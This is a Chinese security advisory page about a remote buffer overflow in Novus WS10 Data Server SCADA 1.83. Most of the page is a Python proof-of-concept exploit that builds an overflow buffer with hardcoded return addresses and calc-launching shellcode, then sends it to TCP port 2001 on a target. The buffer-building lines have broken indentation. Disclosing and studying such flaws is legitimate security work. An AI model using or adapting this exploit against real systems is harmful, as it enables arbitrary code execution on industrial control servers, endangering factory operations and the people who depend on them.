首页 -> 安全研究

安全研究

安全漏洞
WS10 Data Server SCADA缓冲区溢出漏洞

发布日期:2014-09-25
更新日期:2014-10-08

受影响系统:
Novus WS10 Data Server SCADA 1.83
描述:
BUGTRAQ  ID: 70136

NOVUS Electronics是工业控制、数据捕获及管理系统厂商,主要针对工厂自动化。

WS10 Data Server 1.83及其他版本在实现上存在远程缓冲区溢出漏洞,攻击者可利用此漏洞在受影响应用上下文中执行任意代码。

<*来源:Pedro Sanchez
  *>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

## Exploit Title: WS10 Data Server SCADA Exploit Overflow PoC
## Date: 09/23/2014
## Author: Pedro S&#195;&#161;nchez
## Version: 1.83 (English)
## Tested on: Windows 7 embedded.

## Notified the vendor, vendor never responded.
## In the new version this PoC stops working
  
## Vendor: Novus
## http://www.novus.com.br
  
## NOVUS Electronics is a manufacturer of instruments for control, data acquisition and supervisory systems, mainly for factory automation
  
import os
import socket
import sys

## The process listens on TCP port 2001

host = sys.argv[1]
port = int(sys.argv[2])
  
print " PoC WS10 Data Server SCADA Exploit "
print " Pedro Sanchez "
  
shellcode = ("\x33\xC0\x50\x68\x63\x61\x6C\x63\x54\x5B\x50\x53\xB9\x44\x80\xc2\x77\xFF\xD1\x90\x90")
  
## Exploit contructor

    ws10 = ("\x90" * 1024 + "\x44" * 31788)
    ws10 += ("\xeb\x14")
    ws10 += ("\x44" * 6)
    ws10 += ("\xad\xbb\xc3\x77")
    ws10 += ("\xb4\x73\xed\x77")
    ws10 += ("\x90" * 21)
    ws10 += shellcode

  
print "  [+] Sending payload..."
  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
s.send(ws10)
data = s.recv(1024)
  
print "  [+] Closing..."
s.close()
print "  [+] Done!"

建议:
厂商补丁:

Novus
-----
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.novus.com.br

参考:http://www.novus.com.br/site/default.asp?TroncoID=621808&SecaoID=819191&SubsecaoID=0&Template=../catalogos/layout_produto.asp&ProdutoID=506080

浏览次数:2149
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障